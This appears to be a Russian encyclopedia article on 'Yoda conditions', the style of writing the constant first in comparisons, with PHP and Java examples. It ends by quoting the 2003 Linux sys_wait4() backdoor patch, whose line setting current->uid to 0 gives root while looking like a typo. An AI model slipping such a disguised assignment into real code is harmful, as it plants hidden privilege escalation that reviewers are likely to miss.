Условия Каруша — Куна — Таккера
- 1 year ago
- 0
- 0
Условия Йоды
(от
англ.
Yoda conditions
), или
нотация Йоды
(
англ.
Yoda notation
) в жаргоне программистов — «безопасный» стиль записи выражений сравнения при программировании на языках с
Си
-синтаксисом, заключающийся в написании константного члена выражения (
константы
или вызова
функции
) слева от оператора
сравнения
(то есть
5 == a
вместо привычного
а == 5
).
Такой стиль призван предотвратить свойственную данным языкам
ошибку
— использование операции
присваивания
«
=
» вместо сравнения «
==
». Ошибочное использование присваивания превращает нотацию Йоды в попытку изменить константу, вызывая ошибку на этапе
компиляции
, что исключает возможность появления в готовой программе ошибок данного вида, а также облегчает их поиск и исправление в новом коде.
Нотация названа в честь магистра Йоды из вселенной «Звёздных войн» , имеющего манеру выстраивать слова фразы в обратном порядке .
В классической нотации проверка переменной на равенство некоторой константе записывается следующим образом (пример на языке PHP ):
if ( $variable == 52 ) {
/* действия, выполняемые, если переменная равна 52 */
}
то есть переменная, операция сравнения и константа. Данная конструкция уязвима для известной ошибки:
if ( $variable = 52 ) { // ОШИБКА: ПРИСВАИВАНИЕ переменной значения 52
/* действия, выполняемые ВСЕГДА, ибо значением выражения в скобках будет число 52, которое не равно нулю и поэтому в данном контексте рассматривается как true */
}
Такой код остается синтаксически правильным, и при ненадлежащем тестировании может остаться в программе на долгие годы и стать причиной серьёзной уязвимости.
При использовании нотации Йоды переменная и константа меняются местами, так что константа оказывается слева:
if ( 52 == $variable ) {
/* действия, выполняемые, если переменная равна 52 */
}
При такой нотации в случае опечатки в операторе сравнения получается синтаксически некорректное присваивание константе и программа не будет работать, пока ошибка не будет найдена и исправлена.
if ( 52 = $variable ) { // ОШИБКА при компиляции
/* ... */
}
Совершенно аналогично для функций:
if ( someFunction() = $variable ) { // ОШИБКА при компиляции
/* ... */
}
Нотация Йоды также применима в разрешении проблемы небезопасного «нулевого поведения» ( англ. unsafe null behavior ) например (пример на языке Java ):
String myString = null;
if ( myString.equals("foobar") ) { // Вызывает NullPointerException
/* ... */
}
При применении нотации Йоды:
String myString = null;
if ( "foobar".equals(myString) ) { // Результат - Ложь
/* не выполняется */
}
Использование нотации Йоды не позволяет программам на языках C++, Java, PHP и других работать при наличии ошибок в выражениях сравнения (поведения программы данная модификация не меняет). Некоторые программисты считают использование данной нотации «признаком хорошего тона» .
К недостаткам нотации относится сложность написания, модификации и чтения программы , а также довольно узкая область применения — только сравнение на равенство, только сравнение с константой или результатом вызова функции. Современные инструментальные средства разработки ( компиляторы , редакторы ) позволяют отслеживать и выдавать предупреждения, когда встречают присваивание в управляющей конструкции, считая его потенциально ошибочным.
sys_wait4()
Примечательна неудавшаяся попытка внедрения
бэкдора
в функцию
sys_wait4()
в ядре
Linux
(2003)
. Разработка шла на проприетарной системе управления версиями
, по ночам код выкладывался на более распространённый
CVS
. Этот CVS и взломали, добавив в обработчик системного вызова
sys_wait4()
код, как будто проверяющий входные данные на некорректную комбинацию флагов:
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) + retval = -EINVAL;
Бэкдор был замаскирован под простую опечатку — вместо
==
стояло
=
. Таким образом, передача в функцию двух флагов, противоречащих друг другу, выполняла код
current->uid = 0
, то есть давала программе права
суперпользователя
.
Очередная выкачка информации на CVS дала сбой, и инородные патчи удалили до того, как стало ясно, что они собой представляют. В стабильное ядро патч попасть не мог (связь между BitKeeper и CVS односторонняя). Автора бэкдора найти не удалось.